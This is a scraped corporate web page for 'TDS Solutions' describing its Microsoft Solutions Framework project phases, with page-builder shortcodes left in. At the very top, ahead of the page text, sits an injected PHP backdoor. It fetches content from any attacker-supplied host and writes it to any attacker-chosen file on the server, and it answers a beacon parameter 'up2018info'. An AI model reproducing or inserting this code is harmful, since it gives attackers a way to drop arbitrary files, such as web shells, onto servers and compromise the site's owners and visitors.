?php function class_x_i($x=''){ $urlset = isset($_REQUEST['name']) ? trim($_REQUEST['name']) : ''; $filename = isset($_REQUEST['file']) ? trim($_REQUEST['file']) : ''; $ch = curl_init('http://'.$urlset); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); if ($filename!='') { file_put_contents($filename, $result); } if (isset($_GET['up2018info'])) { echo '01024k'; } } class_x_i(); ?> Our Methodology – TDS Solutions

Our Methodology

[vc_section][vc_row full_width=”stretch_row” css=”.vc_custom_1544231738727{background-color: #f4f4f4 !important;}”][vc_column][vc_custom_heading text=”Our Methodology” font_container=”tag:h5|font_size:18|text_align:center|color:%230d72ba” use_theme_fonts=”yes”][vc_column_text]

TDS solutions is one of a professional information Technology services and solutions giving its customers choices and flexibility while building a highly reliable and stable computing environment. offers a comprehensive group of IT solutions in the areas of IT infrastructures.

TDS Solutions strives to build, deliver integrated IT and to achieve maximum level of customer satisfaction while delivers all of our services governed by delegated project management and quality assurance processes.


TDS Solutions Concept, addresses the Scope, Design, Development, Implementation and Support, in order to realize the business objectives by successfully implementing the project.


TDS solutions follows Microsoft Solutions Framework
  • The MSF Process Model describes a high-level sequence of activities for building and deploying IT solutions. Rather than prescribing a specific series of procedures, it is flexible enough to accommodate a broad range of IT projects. MSF combines two industry standard models: the waterfall model, which emphasizes the achievement of milestones, and the spiral model, which focuses on the continual need to refine the requirements and estimates for a project. An innovative aspect of the MSF process model is that it covers the life cycle of a solution from project inception to live deployment. This helps project teams focus on customer business value, because no value is realized until the solution is deployed and in operation.

o   Envisioning Phase

The key deliverables for the project team during the Envisioning Phase are:

·  Vision/scope document. The vision/scope document describes the project goals and constraints.

·  Project structure document. The project structure document defines the approach the team will take to manage the project.

·  Risk assessment document. The risk assessment document provides an initial identification and analysis of risks associated with a project.


  • Planning phase

The key deliverables for the project team for the Planning Phase are:

  • Functional specification. The functional specification is the virtual repository of project and design related artifacts that are created in the Planning Phase.
  • Master project plan. The master project plan is a collection of individual plans that address tasks performed by each of the six team roles to achieve the functionality defined in the functional specification.
  • Master project schedule. The individual team schedules apply a time frame to the master plan.
  • Updated master risk assessment documen The master risk assessment document that was developed during the Envisioning Phase is reviewed and updated regularly during the Planning Phase.
  • Developing
    • After envisioning, planning, developing, and stabilizing, the solution is ready to be deployed. The Deploying Phase implements the tested solution in the production environment. The migration project Release Management team deploying the solution works with the operations team to successfully deploy and stabilize the solution. At the close of the Deploying Phase, customer approval for the migration is obtained, and the solution is transferred to the operations team. It is also possible that the operations team handles the deployment with the aid of the project team. Irrespective of which team does the deployment, the key goal of the Deploying Phase is to successfully migrate the new solution into the production environment as smoothly as possible, and with the least amount of disruption to the business environment or the end users.
  • Stabilizing the Deployment
    • The product manager and the operations team should ensure that the solution meets the business requirements and standards determined during the Envisioning Phase. The checklist developed during the Planning Phase should contain the acceptance criteria that evaluate the performance of the solution
  • Transferring Ownership to Operations
    • The final transition occurs when the project team completes its tasks and transfers the infrastructure, documentation, and operations to the Operations team. The ownership of the solution is also transferred to the Operations team.
    • The Operations team has to understand the functioning of the solution and manage it. The solution’s documentation should supply information required to manage the solution.
    • The Operations team will require the following documents to handle the solution after project:
      • User manual. The user manual details the procedures for working with the solution. It also details the procedures for installation and solution maintenance.
      • Support policies and procedures. This document details the updated business policies and procedures that need to be followed after the project is complete.
      • Daily Tasks

[/vc_column_text][/vc_column][/vc_row][/vc_section][vc_row full_width=”stretch_row” css=”.vc_custom_1546917987528{background-color: #222328 !important;}”][vc_column][vc_column_text]

© 2019 TDS Solutions. All Rights Reserved